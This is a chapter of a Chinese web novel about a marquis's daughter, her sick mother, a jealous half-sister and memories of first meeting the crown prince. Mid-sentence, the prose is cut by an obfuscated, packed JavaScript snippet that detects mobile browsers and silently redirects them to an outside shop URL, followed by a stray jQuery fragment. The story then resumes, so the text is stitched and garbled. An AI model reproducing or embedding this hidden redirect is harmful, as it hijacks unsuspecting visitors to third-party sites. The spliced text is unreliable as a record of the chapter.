鹿昭才坐马车回到院内,心中的疑惑尚且没有得到解答,还未来得及歇歇脚,便被母亲曲明兰交到了潇湘苑内。
潇湘苑内三步一小景,院内讲究不规整的非对称美,因而时而可见假山青松,时而又能透过窗棂看郁郁葱葱的竹林,池塘里有几只锦鲤被喂得还算肥硕,时而扑腾溅起浪花,潇湘苑可以说是靖安侯府内最为舒适的院子,亦是靖安侯夫人曲明兰的居所,可见靖安侯对曲明兰的用心。
“母亲。”鹿昭行了个礼,她对母亲素来尊敬。
相比起来靖安侯的和蔼可亲,靖安侯夫人曲明兰倒是更显得尤为严苛,身为当家主母,曲明兰的周身气场莫说是鹿昭,就是靖安侯亲自来了都要抖三抖,因而这整个侯府内无不对这位当家主母恭恭敬敬。
奈何岁月催人老,曲明兰从年初开始身子便不大利索,缠绵病榻脸色已经有些憔悴,曲明兰身穿一身黛青色衣裙,手中还捧着手炉,曲明兰高盘着发髻,没有簪发钗,这一身行头下来,反倒不像是个侯夫人。
“昭儿来了。”曲明兰开口,她语气恹恹,似乎有些心有余而力不足,“来,坐。”曲明兰平淡地递过去一个眸光。
侍立在一旁的役使婆子见状连忙将木椅搬出,鹿昭理了下裙摆顺势坐下,曲明兰向鹿昭伸出手,鹿昭便连忙拉住曲明兰的手一丝也不敢懈怠,母女二人手腕上都带着一只成色极好的翠玉镯子,曲明兰轻轻拍着鹿昭的手背。
“听闻昨日你去宫里看过了,想来也一定告知了太后娘娘我身子已经好转,倒也免得她老人家一把年纪还跟着担心了。”曲明兰道,“前朝的事娘亲也都听说了,太子殿下自请前往边关战场,于社稷而言这是好事,于你一个女儿家来说,便算不上什么值得庆贺的事。我这个做母亲的,自然更是盼着自己的女儿好。”
“有劳母亲挂怀,阿泽此行已是板上钉钉的事,这几日他亦宽慰了许多,女儿早就想开了。若是太子殿下戎马归来,何尝不是喜上添喜美事成双呢?”鹿昭很是懂事地同曲明兰说道。
“嗯......”曲明兰应了一声,鹿昭这才放下心来,看来母亲对自己的回答还是比较满意的。
母女二人又说了些家长里短的话语,言及太子殿下,曲明兰似乎是突然想到了什么,她抬手示意一下役使婆子,役使婆子很快就明白了曲明兰的意思,取来了一副请帖。
请帖通身泛着金光,帖子上更实用鎏金的笔触写着邀请词,看起来就不像是寻常世家所用,那么想来必然是宫中邀请,这个时日宫中的宴席除了春游宴便再无其他可能。
“这春游宴我倒是还没想到会依旧举行,本想着太子殿下此去事务繁忙不会开设春游宴,怎料这宫中请帖依旧还是到了手里。今年的春游宴说是要给太子殿下相看夫君,说到底了终究还是走个过场,你就不必太过拘束。”
曲明兰瞥了一眼鹿昭,看着鹿昭脸颊微微泛红不由得轻笑一声,当母亲的自然知道孩子心中在想什么,“本想着挑个时间托人给你送去,既然你来了也省得婆子再跑一趟,也算是又寻了个由头让你这段时间多去看看阿泽那孩子。”
“多谢娘亲。”鹿昭低下头,颇有一种被曲明兰看透的羞涩。
“这次春游宴,你把江姨娘那庶妹带上一并前去吧,待你入主东宫之后,她也要觅得一个好的亲事才是,说到底了还是靖安侯府的小姐,万不能让人瞧低了去。”曲明兰嘱托道,“到时候将你们姐妹二人安排妥当,也算是我这个当主母的了却一番心事。”
曲明兰说到这,不由得叹了口气,她似乎是有些累了:“也就你们二人让我省心,偏生那个小子,最不令人省心。”
鹿昭自然知道曲明兰嘴里的那个小子是谁,自然是他的兄长,靖安侯府的小侯爷——鹿琛。鹿琛比自己要长些许年岁,自打鹿昭幼时记事起,就是兄长向父母辞别,独自前去周游列国、追求闲云野鹤的日子了。
“大哥哥终有一日会回来的,说不定回来的时候还能带个嫂子回来。”鹿昭道。
“如此也就好了,我倒是真怕他惹出什么祸事来,琛儿的性子我知道,若是一般慢热一点的孩子也就罢了,可偏生琛儿喜欢鸣不平,这些年靖安侯府没少为他摆平事情。”曲明兰长舒了一口气,然后咳嗽几声,鹿昭见状连忙起身帮人顺着气,“罢了罢了,今日我也乏了,你退下去早日准备春游宴罢。”
“是。”鹿昭行礼告退。
鹿昭还未走出潇湘苑多远,就听见屋内又传来了母亲的咳嗽声,苑内弥漫着一股浓郁的汤药味,鹿昭捏紧帕子心中自然担忧,春华跟在身后替鹿昭拿着春游宴的请帖。
“小姐,春游宴各家贵女几乎都会收到帖子,或许小姐能遇到江小姐,到时候再让江小姐开导开导小姐,小姐的心情就会愈来愈好了。”春华欢喜雀跃道。
春华蹦蹦跳跳的,话音刚落地,鹿昭便迎面遇上了鹿苒,二人微微见礼,鹿苒便瞥见了春华手里金灿灿的请帖。
“姐姐又有贵人相约啊。”鹿苒不咸不淡地开口。
“不过是几日后的春游宴,各家贵女都会前往,你的请帖想来也就这些时日就送到手上了。”鹿昭开口道。
鹿苒微微一怔,她居然也有吗?
“姐姐是托了太子殿下的好意,这才宴请我一个庶女参加春游宴吗?”鹿苒神情淡漠,若真是如此,她必然不会前去,一来不想看到鹿昭同沈之泽你侬我侬,二来,这样一来于鹿苒而言不过是鹿昭的施舍罢了,又何必前往给她这个面子。
“是母亲的意思,想着你亦到了婚配的年龄,春游宴倒是个可以相看两眼的地方。”鹿昭如实回答,她没有心劲去和鹿苒玩什么你死我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150372|150306||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
活的宅斗伎俩,她与鹿苒本就是陌路人,嫁人之后也许更是没有什么往来,说到底,鹿昭还是有些许嫡女的心高气傲在身上。
鹿苒这才含笑一声,收敛了刚才剑拔弩张的意味,轻笑一声道:“姐姐不必担心,姐姐美意,妹妹自然会前去。”
鹿昭微微颔首,“既然无事了,那我便先行告辞。”鹿昭说完径直从鹿苒身边擦肩而过,鹿苒回头看着鹿昭离去的背影,心底里很不是滋味,为什么所有人的宠爱全部都在鹿昭的身上,与鹿昭相比,自己除了不是嫡女出身,到底都差在了哪里?鹿苒深吸一口气,尽力让自己冷静下来,她尚且不知何时自己的风头才能压过鹿昭一头。
春游宴在即,鹿昭的心思却全然不在一个小小的春游宴上,所谓春游宴便是每年春日举行的让世家子弟吟诗作赋、切磋比试的擂台,每年的魁首都会得到陛下的嘉奖。
这春游宴自从沈之泽继位太子之后,便一直由太子全权负责,一来可以结识些朝中世家权贵,二来也是为以登基寻找可用的人才。
莫说世家贵女,连同世家男子都会一并参加,鹿昭还记得她和沈之泽的初遇就是在春游宴,鹿昭说出了诗词的上半阙,下半阙却一直无人应答,直到少年清朗的声音出现,平淡地接上了下半阙。
鹿昭回眸看向了沈之泽,彼时尚且稚嫩的沈之泽手中正拿着一盏莲花灯,鹿昭眸光微微一怔,在这懵懂的情窦初开的年纪,鹿昭一眼便认定了沈之泽。
沈之泽将莲花灯递给鹿昭,鹿昭看向沈之泽,只听见沈之泽道:“你的诗做的极好,这莲花灯算作我给你的赏礼。”
鹿昭小心翼翼地接过莲华灯,小脸不知为何有些发烫,他们二人的缘分从这里开始,鹿昭思前想后,干脆摘下头上最精致的簪子送给了沈之泽:“你的诗也是极好,这算作我的回礼。”
沈之泽看着那精致的簪子,他眸光一颤接下了那簪子,霎时沈之泽的脸出奇的烫,连带着耳朵都红透了,那时候鹿昭还不知道这女子为男子送簪子代表什么意思,只是看着‘熟透了’的沈之泽觉得有些好笑。
“敢问你是哪家的小娘子?”沈之泽追问道。
“靖安侯府,鹿昭,日月昭昭的昭。”鹿昭答道。
鹿昭回忆到这里心里顿时生了一股暖意,她所钦慕的少年郎从始至终都不曾变过,鹿昭心里轻松了许多,这些年他俩时常见面,几乎是不避着嫌一般,外人眼里他们是青梅竹马、两小无猜,帝京世家眼里,他们便早就是情投意合的一对璧人了。
“春华,替我将前些日子新裁剪的衣裳拿出来,过些时日的春游宴我便穿那身前去。”鹿昭道。
“好嘞,小姐。”春华心底里顿时高兴了不少,小姐开始梳妆打扮捯饬起来自己,就证明小姐的心情不错,几日之后的春游宴小姐一定会出尽风头的。